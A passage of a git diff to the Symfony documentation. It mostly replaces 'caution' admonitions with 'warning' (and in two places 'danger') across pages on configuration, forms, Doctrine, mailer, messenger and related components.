a/configuration.rst +++ b/configuration.rst @@ -271,7 +271,7 @@ reusable configuration value. By convention, parameters are defined under the // ... -.. caution:: +.. warning:: By default and when using XML configuration, the values between ``<parameter>`` tags are not trimmed. This means that the value of the following parameter will be @@ -811,7 +811,7 @@ Use environment variables in values by prefixing variables with ``$``: DB_USER=root DB_PASS=${DB_USER}pass # include the user as a password prefix -.. caution:: +.. warning:: The order is important when some env var depends on the value of other env vars. In the above example, ``DB_PASS`` must be defined after ``DB_USER``. @@ -832,7 +832,7 @@ Embed commands via ``$()`` (not supported on Windows): START_TIME=$(date) -.. caution:: +.. warning:: Using ``$()`` might not work depending on your shell. diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst index 475a078c0a5..1e57fd65387 100644 --- a/configuration/env_var_processors.rst +++ b/configuration/env_var_processors.rst @@ -691,7 +691,7 @@ Symfony provides the following env var processors: ], ]); - .. caution:: + .. warning:: In order to ease extraction of the resource from the URL, the leading ``/`` is trimmed from the ``path`` component. diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst index 4cef8b0d09e..dd857fff243 100644 --- a/configuration/multiple_kernels.rst +++ b/configuration/multiple_kernels.rst @@ -227,7 +227,7 @@ but it should typically be added to your web server configuration. # .env APP_ID=api -.. caution:: +.. warning:: The value of this variable must match the application directory within ``apps/`` as it is used in the Kernel to load the specific application diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst index d17b67aedba..e5dff35b6d0 100644 --- a/configuration/override_dir_structure.rst +++ b/configuration/override_dir_structure.rst @@ -111,7 +111,7 @@ In this case you have changed the location of the cache directory to You can also change the cache directory by defining an environment variable named ``APP_CACHE_DIR`` whose value is the full path of the cache folder. -.. caution:: +.. warning:: You should keep the cache directory different for each environment, otherwise some unexpected behavior may happen. Each environment generates diff --git a/console.rst b/console.rst index 6c4270dcf54..baab4aff4a7 100644 --- a/console.rst +++ b/console.rst @@ -391,7 +391,7 @@ Output sections let you manipulate the Console output in advanced ways, such as are updated independently and :ref:`appending rows to tables <console-modify-rendered-tables>` that have already been rendered. -.. caution:: +.. warning:: Terminals only allow overwriting the visible content, so you must take into account the console height when trying to write/overwrite section contents. @@ -556,13 +556,13 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester`` You can also test a whole console application by using :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`. -.. caution:: +.. warning:: When testing commands using the ``CommandTester`` class, console events are not dispatched. If you need to test those events, use the :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester` instead. -.. caution:: +.. warning:: When testing commands using the :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester` class, don't forget to disable the auto exit flag:: @@ -572,7 +572,7 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester`` $tester = new ApplicationTester($application); -.. caution:: +.. warning:: When testing ``InputOption::VALUE_NONE`` command options, you must pass ``true`` to them:: @@ -649,7 +649,7 @@ profile is accessible through the web page of the profiler. terminal supports links). If you run it in debug verbosity (``-vvv``) you'll also see the time and memory consumed by the command. -.. caution:: +.. warning:: When profiling the ``messenger:consume`` command from the :doc:`Messenger </messenger>` component, add the ``--no-reset`` option to the command or you won't get any diff --git a/console/calling_commands.rst b/console/calling_commands.rst index c5bfc6e5a72..7780fca467e 100644 --- a/console/calling_commands.rst +++ b/console/calling_commands.rst @@ -57,7 +57,7 @@ method):: ``$this->getApplication()->find('demo:greet')->run()`` will allow proper events to be dispatched for that inner command as well. -.. caution:: +.. warning:: Note that all the commands will run in the same process and some of Symfony's built-in commands may not work well this way. For instance, the ``cache:clear`` diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst index 64475bff103..74af9e17c15 100644 --- a/console/command_in_controller.rst +++ b/console/command_in_controller.rst @@ -11,7 +11,7 @@ service that can be reused in the controller. However, when the command is part of a third-party library, you don't want to modify or duplicate their code. Instead, you can run the command directly from the controller. -.. caution:: +.. warning:: In comparison with a direct call from the console, calling a command from a controller has a slight performance impact because of the request stack diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst index 75aa13d5be8..1393879a1df 100644 --- a/console/commands_as_services.rst +++ b/console/commands_as_services.rst @@ -51,7 +51,7 @@ argument (thanks to autowiring). In other words, you only need to create this class and everything works automatically! You can call the ``app:sunshine`` command and start logging. -.. caution:: +.. warning:: You *do* have access to services in ``configure()``. However, if your command is not :ref:`lazy <console-command-service-lazy-loading>`, try to avoid doing any @@ -130,7 +130,7 @@ only when the ``app:sunshine`` command is actually called. You don't need to call ``setName()`` for configuring the command when it is lazy. -.. caution:: +.. warning:: Calling the ``list`` command will instantiate all commands, including lazy commands. However, if the command is a ``Symfony\Component\Console\Command\LazyCommand``, then diff --git a/console/input.rst b/console/input.rst index ed637bdba74..5ec9cf3ae04 100644 --- a/console/input.rst +++ b/console/input.rst @@ -197,7 +197,7 @@ values after a whitespace or an ``=`` sign (e.g. ``--iterations 5`` or ``--iterations=5``), but short options can only use whitespaces or no separation at all (e.g. ``-i 5`` or ``-i5``). -.. caution:: +.. warning:: While it is possible to separate an option from its value with a whitespace, using this form leads to an ambiguity should the option appear before the diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst index cff99a1554f..497c70fb01d 100644 --- a/contributing/code/bc.rst +++ b/contributing/code/bc.rst @@ -30,7 +30,7 @@ The second section, "Working on Symfony Code", is targeted at Symfony contributors. This section lists detailed rules that every contributor needs to follow to ensure smooth upgrades for our users. -.. caution:: +.. warning:: :doc:`Experimental Features </contributing/code/experimental>` and code marked with the ``@internal`` tags are excluded from our Backward @@ -53,7 +53,7 @@ All interfaces shipped with Symfony can be used in type hints. You can also call any of the methods that they declare. We guarantee that we won't break code that sticks to these rules. -.. caution:: +.. warning:: The exception to this rule are interfaces tagged with ``@internal``. Such interfaces should not be used or implemented. @@ -89,7 +89,7 @@ Using our Classes All classes provided by Symfony may be instantiated and accessed through their public methods and properties. -.. caution:: +.. warning:: Classes, properties and methods that bear the tag ``@internal`` as well as the classes located in the various ``*\Tests\`` namespaces are an @@ -146,7 +146,7 @@ Using our Traits All traits provided by Symfony may be used in your classes. -.. caution:: +.. warning:: The exception to this rule are traits tagged with ``@internal``. Such traits should not be used. diff --git a/contributing/code/bugs.rst b/contributing/code/bugs.rst index fba68617ee3..b0a46766026 100644 --- a/contributing/code/bugs.rst +++ b/contributing/code/bugs.rst @@ -4,7 +4,7 @@ Reporting a Bug Whenever you find a bug in Symfony, we kindly ask you to report it. It helps us make a better Symfony. -.. caution:: +.. warning:: If you think you've found a security issue, please use the special :doc:`procedure <security>` instead. diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst index ac93483c011..e581d0382e4 100644 --- a/contributing/documentation/format.rst +++ b/contributing/documentation/format.rst @@ -16,7 +16,7 @@ source code. If you want to learn more about this format, check out the `reStructuredText Primer`_ tutorial and the `reStructuredText Reference`_. -.. caution:: +.. warning:: If you are familiar with Markdown, be careful as things are sometimes very similar but different: diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst index 420780d25f5..5e195d008fd 100644 --- a/contributing/documentation/standards.rst +++ b/contributing/documentation/standards.rst @@ -122,7 +122,7 @@ Example } } -.. caution:: +.. warning:: In YAML you should put a space after ``{`` and before ``}`` (e.g. ``{ _controller: ... }``), but this should not be done in Twig (e.g. ``{'hello' : 'value'}``). diff --git a/deployment.rst b/deployment.rst index 3edbc34dd6b..864ebc7a963 100644 --- a/deployment.rst +++ b/deployment.rst @@ -184,7 +184,7 @@ as you normally do: significantly by building a "class map". The ``--no-dev`` flag ensures that development packages are not installed in the production environment. -.. caution:: +.. warning:: If you get a "class not found" error during this step, you may need to run ``export APP_ENV=prod`` (or ``export SYMFONY_ENV=prod`` if you're not diff --git a/deployment/proxies.rst b/deployment/proxies.rst index dcef631648f..f72fe74aee7 100644 --- a/deployment/proxies.rst +++ b/deployment/proxies.rst @@ -82,7 +82,7 @@ and what headers your reverse proxy uses to send information: ; }; -.. caution:: +.. danger:: Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the application to `HTTP Host header attacks`_. Make sure the proxy really diff --git a/doctrine.rst b/doctrine.rst index bbc4b3c3621..103ba869611 100644 --- a/doctrine.rst +++ b/doctrine.rst @@ -58,7 +58,7 @@ The database connection information is stored as an environment variable called # to use oracle: # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name" -.. caution:: +.. warning:: If the username, password, host or database name contain any character considered special in a URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), @@ -180,7 +180,7 @@ Whoa! You now have a new ``src/Entity/Product.php`` file:: column with default value NULL*. Add a ``nullable=true`` option to the ``description`` property to fix the problem. -.. caution:: +.. warning:: There is a `limit of 767 bytes for the index key prefix`_ when using InnoDB tables in MySQL 5.6 and earlier versions. String columns with 255 @@ -210,7 +210,7 @@ If you want to use XML instead of attributes, add ``type: xml`` and ``dir: '%kernel.project_dir%/config/doctrine'`` to the entity mappings in your ``config/packages/doctrine.yaml`` file. -.. caution:: +.. warning:: Be careful not to use reserved SQL keywords as your table or column names (e.g. ``GROUP`` or ``USER``). See Doctrine's `Reserved SQL keywords documentation`_ diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst index 1b3aa4aa185..e5b21819f58 100644 --- a/doctrine/custom_dql_functions.rst +++ b/doctrine/custom_dql_functions.rst @@ -132,7 +132,7 @@ In Symfony, you can register your custom DQL functions as follows: ->datetimeFunction('test_datetime', DatetimeFunction::class); }; -.. caution:: +.. warning:: DQL functions are instantiated by Doctrine outside of the Symfony :doc:`service container </service_container>` so you can't inject services diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst index 014d9e4dccb..1a56c55ddad 100644 --- a/doctrine/multiple_entity_managers.rst +++ b/doctrine/multiple_entity_managers.rst @@ -15,7 +15,7 @@ entities, each with their own database connection strings or separate cache conf advanced and not usually required. Be sure you actually need multiple entity managers before adding in this layer of complexity. -.. caution:: +.. warning:: Entities cannot define associations across different entity managers. If you need that, there are `several alternatives`_ that require some custom setup. @@ -142,7 +142,7 @@ and ``customer``. The ``default`` entity manager manages entities in the entities in ``src/Entity/Customer``. You've also defined two connections, one for each entity manager, but you are free to define the same connection for both. -.. caution:: +.. warning:: When working with multiple connections and entity managers, you should be explicit about which configuration you want. If you *do* omit the name of @@ -251,7 +251,7 @@ The same applies to repository calls:: } } -.. caution:: +.. warning:: One entity can be managed by more than one entity manager. This however results in unexpected behavior when extending from ``ServiceEntityRepository`` diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst index 35c8e729c2d..7f1ea793958 100644 --- a/doctrine/reverse_engineering.rst +++ b/doctrine/reverse_engineering.rst @@ -1,7 +1,7 @@ How to Generate Entities from an Existing Database ================================================== -.. caution:: +.. warning:: The ``doctrine:mapping:import`` command used to generate Doctrine entities from existing databases was deprecated by Doctrine in 2019 and there's no diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst index 400747bba12..db098a1ba09 100644 --- a/form/bootstrap5.rst +++ b/form/bootstrap5.rst @@ -171,7 +171,7 @@ class to the label: ], // ... -.. caution:: +.. warning:: Switches only work with **checkbox**. @@ -201,7 +201,7 @@ class to the ``row_attr`` option. } }) }} -.. caution:: +.. warning:: If you fill the ``help`` option of your form, it will also be rendered as part of the group. @@ -239,7 +239,7 @@ of your form type. } }) }} -.. caution:: +.. warning:: You **must** provide a ``label`` and a ``placeholder`` to make floating labels work properly. diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst index 709f3321544..0d92a967fa0 100644 --- a/form/create_custom_field_type.rst +++ b/form/create_custom_field_type.rst @@ -449,7 +449,7 @@ are some examples of Twig block names for the postal address type: ``postal_address_zipCode_label`` The label block of the ZIP Code field. -.. caution:: +.. warning:: When the name of your form class matches any of the built-in field types, your form might not be rendered correctly. A form type named diff --git a/form/data_mappers.rst b/form/data_mappers.rst index cb5c7936701..38c92ce35ae 100644 --- a/form/data_mappers.rst +++ b/form/data_mappers.rst @@ -126,7 +126,7 @@ in your form type:: } } -.. caution:: +.. warning:: The data passed to the mapper is *not yet validated*. This means that your objects should allow being created in an invalid state in order to produce @@ -215,7 +215,7 @@ If available, these options have priority over the property path accessor and the default data mapper will still use the :doc:`PropertyAccess component </components/property_access>` for the other form fields. -.. caution:: +.. warning:: When a form has the ``inherit_data`` option set to ``true``, it does not use the data mapper and lets its parent map inner values. diff --git a/form/data_transformers.rst b/form/data_transformers.rst index 4e81fc3e930..db051a04bbc 100644 --- a/form/data_transformers.rst +++ b/form/data_transformers.rst @@ -8,7 +8,7 @@ can be rendered as a ``yyyy-MM-dd``-formatted input text box. Internally, a data converts the ``DateTime`` value of the field to a ``yyyy-MM-dd`` formatted string when rendering the form, and then back to a ``DateTime`` object on submit. -.. caution:: +.. warning:: When a form field has the ``inherit_data`` option set to ``true``, data transformers are not applied to that field. @@ -340,7 +340,7 @@ that, after a successful submission, the Form component will pass a real If the issue isn't found, a form error will be created for that field and its error message can be controlled with the ``invalid_message`` field option. -.. caution:: +.. warning:: Be careful when adding your transformers. For example, the following is **wrong**, as the transformer would be applied to the entire form, instead of just this @@ -472,7 +472,7 @@ Which transformer you need depends on your situation. To use the view transformer, call ``addViewTransformer()``. -.. caution:: +.. warning:: Be careful with model transformers and :doc:`Collection </reference/forms/types/collection>` field types. diff --git a/form/direct_submit.rst b/form/direct_submit.rst index 7b98134af18..7a08fb6978a 100644 --- a/form/direct_submit.rst +++ b/form/direct_submit.rst @@ -65,7 +65,7 @@ the fields defined by the form class. Otherwise, you'll see a form validation er argument to ``submit()``. Passing ``false`` will remove any missing fields within the form object. Otherwise, the missing fields will be set to ``null``. -.. caution:: +.. warning:: When the second parameter ``$clearMissing`` is ``false``, like with the "PATCH" method, the validation will only apply to the submitted fields. If diff --git a/form/events.rst b/form/events.rst index 745df2df453..dad6c242ddd 100644 --- a/form/events.rst +++ b/form/events.rst @@ -192,7 +192,7 @@ Form view data Same as in ``FormEvents::POST_SET_DATA`` See all form events at a glance in the :ref:`Form Events Information Table <component-form-event-table>`. -.. caution:: +.. warning:: At this point, you cannot add or remove fields to the form. @@ -225,7 +225,7 @@ Form view data Normalized data transformed using a view transformer See all form events at a glance in the :ref:`Form Events Information Table <component-form-event-table>`. -.. caution:: +.. warning:: At this point, you cannot add or remove fields to the current form and its children. diff --git a/form/form_collections.rst b/form/form_collections.rst index f0ad76a8a61..2a0ba99657f 100644 --- a/form/form_collections.rst +++ b/form/form_collections.rst @@ -195,7 +195,7 @@ then set on the ``tag`` field of the ``Task`` and can be accessed via ``$task->g So far, this works great, but only to edit *existing* tags. It doesn't allow us yet to add new tags or delete existing ones. -.. caution:: +.. warning:: You can embed nested collections as many levels down as you like. However, if you use Xdebug, you may receive a ``Maximum function nesting level of '100' @@ -427,13 +427,13 @@ That was fine, but forcing the use of the "adder" method makes handling these new ``Tag`` objects easier (especially if you're using Doctrine, which you will learn about next!). -.. caution:: +.. warning:: You have to create **both** ``addTag()`` and ``removeTag()`` methods, otherwise the form will still use ``setTag()`` even if ``by_reference`` is ``false``. You'll learn more about the ``removeTag()`` method later in this article. -.. caution:: +.. warning:: Symfony can only make the plural-to-singular conversion (e.g. from the ``tags`` property to the ``addTag()`` method) for English words. Code diff --git a/form/form_customization.rst b/form/form_customization.rst index 3f3cd0bbc89..1c23601a883 100644 --- a/form/form_customization.rst +++ b/form/form_customization.rst @@ -74,7 +74,7 @@ control over how each form field is rendered, so you can fully customize them: </div> </div> -.. caution:: +.. warning:: If you're rendering each field manually, make sure you don't forget the ``_token`` field that is automatically added for CSRF protection. @@ -305,7 +305,7 @@ Renders any errors for the given field. {# render any "global" errors not associated to any form field #} {{ form_errors(form) }} -.. caution:: +.. warning:: In the Bootstrap 4 form theme, ``form_errors()`` is already included in ``form_label()``. Read more about this in the diff --git a/form/form_themes.rst b/form/form_themes.rst index eb6f6f2ae22..8b82982edaa 100644 --- a/form/form_themes.rst +++ b/form/form_themes.rst @@ -177,7 +177,7 @@ of form themes: {# ... #} -.. caution:: +.. warning:: When using the ``only`` keyword, none of Symfony's built-in form themes (``form_div_layout.html.twig``, etc.) will be applied. In order to render diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst index 19b14b27bcd..2caa0afcdbe 100644 --- a/form/inherit_data_option.rst +++ b/form/inherit_data_option.rst @@ -165,6 +165,6 @@ Finally, make this work by adding the location form to your two original forms:: That's it! You have extracted duplicated field definitions to a separate location form that you can reuse wherever you need it. -.. caution:: +.. warning:: Forms with the ``inherit_data`` option set cannot have ``*_SET_DATA`` event listeners. diff --git a/form/type_guesser.rst b/form/type_guesser.rst index 111f1b77986..106eb4e7742 100644 --- a/form/type_guesser.rst +++ b/form/type_guesser.rst @@ -162,7 +162,7 @@ instance with the value of the option. This constructor has 2 arguments: ``null`` is guessed when you believe the value of the option should not be set. -.. caution:: +.. warning:: You should be very careful using the ``guessMaxLength()`` method. When the type is a float, you cannot determine a length (e.g. you want a float to be diff --git a/form/unit_testing.rst b/form/unit_testing.rst index ea11e947fde..2a53d43dd33 100644 --- a/form/unit_testing.rst +++ b/form/unit_testing.rst @@ -1,7 +1,7 @@ How to Unit Test your Forms =========================== -.. caution:: +.. warning:: This article is intended for developers who create :doc:`custom form types </form/create_custom_field_type>`. If you are using @@ -121,7 +121,7 @@ variable exists and will be available in your form themes:: Use `PHPUnit data providers`_ to test multiple form conditions using the same test code. -.. caution:: +.. warning:: When your type relies on the ``EntityType``, you should register the :class:`Symfony\\Bridge\\Doctrine\\Form\\DoctrineOrmExtension`, which will diff --git a/form/without_class.rst b/form/without_class.rst index 589f8a4739e..436976bdfcc 100644 --- a/form/without_class.rst +++ b/form/without_class.rst @@ -121,7 +121,7 @@ but here's a short example:: submitted data is validated using the ``Symfony\Component\Validator\Constraints\Valid`` constraint, unless you :doc:`disable validation </form/disabling_validation>`. -.. caution:: +.. warning:: When a form is only partially submitted (for example, in an HTTP PATCH request), only the constraints from the submitted form fields will be diff --git a/forms.rst b/forms.rst index 107ab70f623..38006169cdb 100644 --- a/forms.rst +++ b/forms.rst @@ -876,7 +876,7 @@ pass ``null`` to it:: } } -.. caution:: +.. warning:: When using a specific :doc:`form validation group </form/validation_groups>`, the field type guesser will still consider *all* validation constraints when diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index ebf1e5f8304..061c4598bfa 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -95,7 +95,7 @@ This will physically copy all the files from your mapped directories to ``public/assets/`` so that they're served directly by your web server. See :ref:`Deployment <asset-mapper-deployment>` for more details. -.. caution:: +.. warning:: If you run the ``asset-map:compile`` command on your development machine, you won't see any changes made to your assets when reloading the page. diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst index f98ac8b75a0..2ddff9de345 100644 --- a/frontend/encore/installation.rst +++ b/frontend/encore/installation.rst @@ -200,7 +200,7 @@ You'll customize and learn more about these files in :doc:`/frontend/encore/simp When you execute Encore, it will ask you to install a few more dependencies based on which features of Encore you have enabled. -.. caution:: +.. warning:: Some of the documentation will use features that are specific to Symfony or Symfony's `WebpackEncoreBundle`_. These are optional, and are special ways diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst index d790611b511..1c6c6b05c08 100644 --- a/frontend/encore/simple-example.rst +++ b/frontend/encore/simple-example.rst @@ -82,7 +82,7 @@ in your ``package.json`` file. in the :ref:`Symfony CLI Workers <symfony-server_configuring-workers>` documentation. -.. caution:: +.. warning:: Whenever you make changes in your ``webpack.config.js`` file, you must stop and restart ``encore``. @@ -434,7 +434,7 @@ Your app now supports Sass. Encore also supports LESS and Stylus. See Compiling Only a CSS File ------------------------- -.. caution:: +.. warning:: Using ``addStyleEntry()`` is supported, but not recommended. A better option is to follow the pattern above: use ``addEntry()`` to point to a JavaScript diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst index c24d2b3670b..d18026d3633 100644 --- a/frontend/encore/virtual-machine.rst +++ b/frontend/encore/virtual-machine.rst @@ -87,7 +87,7 @@ connections: } } -.. caution:: +.. danger:: Make sure to run the development server inside your virtual machine only; otherwise other computers can have access to it. @@ -110,7 +110,7 @@ the dev-server. To fix this, set the ``allowedHosts`` option: options.allowedHosts = all; }) -.. caution:: +.. warning:: Beware that `it's not recommended to set allowedHosts to all`_ in general, but here it's required to solve the issue when using Encore in a virtual machine. diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst index 4d5e07acc61..394c79aed42 100644 --- a/http_cache/cache_invalidation.rst +++ b/http_cache/cache_invalidation.rst @@ -14,7 +14,7 @@ cache lifetimes, but to actively notify the gateway cache when content changes. Reverse proxies usually provide a channel to receive such notifications, typically through special HTTP requests. -.. caution:: +.. warning:: While cache invalidation is powerful, avoid it when possible. If you fail to invalidate something, outdated caches will be served for a potentially diff --git a/http_cache/esi.rst b/http_cache/esi.rst index aaf1de564c1..044430edcc3 100644 --- a/http_cache/esi.rst +++ b/http_cache/esi.rst @@ -259,7 +259,7 @@ One great advantage of the ESI renderer is that you can make your application as dynamic as needed and at the same time, hit the application as little as possible. -.. caution:: +.. warning:: The fragment listener only responds to signed requests. Requests are only signed when using the fragment renderer and the ``render_esi`` Twig diff --git a/http_client.rst b/http_client.rst index 9e9a74b973b..e7128f1bc66 100644 --- a/http_client.rst +++ b/http_client.rst @@ -1076,7 +1076,7 @@ To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header. Chunked transfer encoding is enabled automatically if both your PHP runtime and the remote server support it. -.. caution:: +.. warning:: If you set ``Accept-Encoding`` to e.g. ``gzip``, you will need to handle the decompression yourself. diff --git a/lock.rst b/lock.rst index 35c3dc5be3c..7e428312a82 100644 --- a/lock.rst +++ b/lock.rst @@ -194,7 +194,7 @@ To lock the default resource, autowire the lock factory using } } -.. caution:: +.. warning:: The same instance of ``LockInterface`` won't block when calling ``acquire`` multiple times inside the same process. When several services use the diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst index 9ad3a2f054c..3cac1d01ba5 100644 --- a/logging/channels_handlers.rst +++ b/logging/channels_handlers.rst @@ -95,7 +95,7 @@ from the ``security`` channel. The following example does that only in the } }; -.. caution:: +.. warning:: The ``channels`` configuration only works for top-level handlers. Handlers that are nested inside a group, buffer, filter, fingers crossed or other diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst index 810abdd5b9f..ee9fb16c01c 100644 --- a/logging/monolog_exclude_http_codes.rst +++ b/logging/monolog_exclude_http_codes.rst @@ -57,7 +57,7 @@ logging these HTTP codes based on the MonologBundle configuration: $mainHandler->excludedHttpCode()->code(404); }; -.. caution:: +.. warning:: Combining ``excluded_http_codes`` with a ``passthru_level`` lower than ``error`` (i.e. ``debug``, ``info``, ``notice`` or ``warning``) will not diff --git a/mailer.rst b/mailer.rst index 8e2e244c449..c1b30a06850 100644 --- a/mailer.rst +++ b/mailer.rst @@ -61,7 +61,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``, $framework->mailer()->dsn(env('MAILER_DSN')); }; -.. caution:: +.. warning:: If the username, password or host contain any character considered special in a URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must @@ -82,7 +82,7 @@ native ``native://default`` Mailer uses the sendmail ``php.ini`` settings when ``sendmail_path`` is not configured. ============ ======================================== ============================================================== -.. caution:: +.. warning:: When using ``native://default``, if ``php.ini`` uses the ``sendmail -t`` command, you won't have error reporting and ``Bcc`` headers won't be removed. @@ -229,20 +229,20 @@ party provider: The ``sandbox`` option in ``Mailjet`` API was introduced in Symfony 6.3. -.. caution:: +.. warning:: If your credentials contain special characters, you must URL-encode them. For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default`` -.. caution:: +.. warning:: If you want to use the ``ses+smtp`` transport together with :doc:`Messenger </messenger>` to :ref:`send messages in background <mailer-sending-messages-async>`, you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9`` -.. caution:: +.. warning:: If you send custom headers when using the `Amazon SES`_ transport (to receive them later via a webhook), make sure to use the ``ses+https`` provider because @@ -773,7 +773,7 @@ and headers. $mailer->header('X-Custom-Header')->value('foobar'); }; -.. caution:: +.. warning:: Some third-party providers don't support the usage of keywords like ``from`` in the ``headers``. Check out your provider's documentation before setting @@ -1201,7 +1201,7 @@ Before signing/encrypting messages, make sure to have: When using OpenSSL to generate certificates, make sure to add the ``-addtrust emailProtection`` command option. -.. caution:: +.. warning:: Signing and encrypting messages require their contents to be fully rendered. For example, the content of :ref:`templated emails <mailer-twig>` is rendered @@ -1226,7 +1226,7 @@ using for example OpenSSL or obtained at an official Certificate Authority (CA). The email recipient must have the CA certificate in the list of trusted issuers in order to verify the signature. -.. caution:: +.. warning:: If you use message signature, sending to ``Bcc`` will be removed from the message. If you need to send a message to multiple recipients, you need diff --git a/mercure.rst b/mercure.rst index 58ffdde9182..f37c40ddee7 100644 --- a/mercure.rst +++ b/mercure.rst @@ -442,7 +442,7 @@ Using cookies is the most secure and preferred way when the client is a web browser. If the client is not a web browser, then using an authorization header is the way to go. -.. caution:: +.. warning:: To use the cookie authentication method, the Symfony app and the Hub must be served from the same domain (can be different sub-domains). diff --git a/messenger.rst b/messenger.rst index 87102811316..c86ae948b0c 100644 --- a/messenger.rst +++ b/messenger.rst @@ -730,7 +730,7 @@ times: Change the ``async`` argument to use the name of your transport (or transports) and ``user`` to the Unix user on your server. -.. caution:: +.. warning:: During a deployment, something might be unavailable (e.g. the database) causing the consumer to fail to start. In this situation, @@ -966,7 +966,7 @@ by setting its ``rate_limiter`` option: ; }; -.. caution:: +.. warning:: When a rate limiter is configured on a transport, it will block the whole worker when the limit is hit. You should make sure you configure a dedicated @@ -1532,7 +1532,7 @@ your Envelope:: new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes), ]); -.. caution:: +.. warning:: The consumers do not show up in an admin panel as this transport does not rely on ``\AmqpQueue::consume()`` which is blocking. Having a blocking receiver makes @@ -1583,7 +1583,7 @@ DSN by using the ``table_name`` option: Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`. -.. caution:: +.. warning:: The datetime property of the messages stored in the database uses the timezone of the current system. This may cause issues if multiple machines @@ -1775,7 +1775,7 @@ under the transport in ``messenger.yaml``: The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and ``sentinel_master`` options were introduced in Symfony 6.1. -.. caution:: +.. warning:: There should never be more than one ``messenger:consume`` command running with the same combination of ``stream``, ``group`` and ``consumer``, or messages could end up being @@ -2682,7 +2682,7 @@ That's it! You can now consume each transport: $ php bin/console messenger:consume async_priority_normal -vv -.. caution:: +.. warning:: If a handler does *not* have ``from_transport`` config, it will be executed on *every* transport that the message is received from. diff --git a/notifier.rst b/notifier.rst index 7d5e395fb02..9801432e9aa 100644 --- a/notifier.rst +++ b/notifier.rst @@ -45,7 +45,7 @@ to send SMS messages to mobile phones. This feature requires subscribing to a third-party service that sends SMS messages. Symfony provides integration with a couple popular SMS services: -.. caution:: +.. warning:: If any of the DSN values contains any character considered special in a URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must @@ -327,7 +327,7 @@ information such as the message ID and the original message contents. Chat Channel ~~~~~~~~~~~~ -.. caution:: +.. warning:: If any of the DSN values contains any character considered special in a URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must @@ -370,7 +370,7 @@ Service Package D The LINE Notify, Mastodon and Twitter integrations were introduced in Symfony 6.3. -.. caution:: +.. warning:: By default, if you have the :doc:`Messenger component </messenger>` installed, the notifications will be sent through the MessageBus. If you don't have a @@ -540,7 +540,7 @@ notification emails: Push Channel ~~~~~~~~~~~~ -.. caution:: +.. warning:: If any of the DSN values contains any character considered special in a URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must diff --git a/profiler.rst b/profiler.rst index 5ca47394402..1cdf3e57867 100644 --- a/profiler.rst +++ b/profiler.rst @@ -311,13 +311,13 @@ These are the method that you can define in the data collector class: from ``AbstractDataCollector``). If you need some services to collect the data, inject those services in the data collector constructor. - .. caution:: + .. warning:: The ``collect()`` method is only called once. It is not used to "gather" data but is there to "pick up" the data that has been stored by your service. - .. caution:: + .. warning:: As the profiler serializes data collector instances, you should not store objects that cannot be serialized (like PDO objects) or you need diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index 6d32065540c..63b1568da9f 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -218,7 +218,7 @@ The **default value** is: :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of Symfony forms. -.. caution:: +.. warning:: If you're using the :ref:`HttpCache Reverse Proxy <symfony2-reverse-proxy>` with this option, the kernel will ignore the ``_method`` parameter, diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst index f0b11f47064..93c65621999 100644 --- a/reference/configuration/web_profiler.rst +++ b/reference/configuration/web_profiler.rst @@ -20,7 +20,7 @@ under the ``web_profiler`` key in your application configuration. namespace and the related XSD schema is available at: ``https://symfony.com/schema/dic/webprofiler/webprofiler-1.0.xsd`` -.. caution:: +.. warning:: The web debug toolbar is not available for responses of type ``StreamedResponse``. diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst index a6944c241cf..f4c78a9642a 100644 --- a/reference/constraints/Callback.rst +++ b/reference/constraints/Callback.rst @@ -245,7 +245,7 @@ constructor of the Callback constraint:: } } -.. caution:: +.. warning:: Using a ``Closure`` together with attribute configuration will disable the attribute cache for that 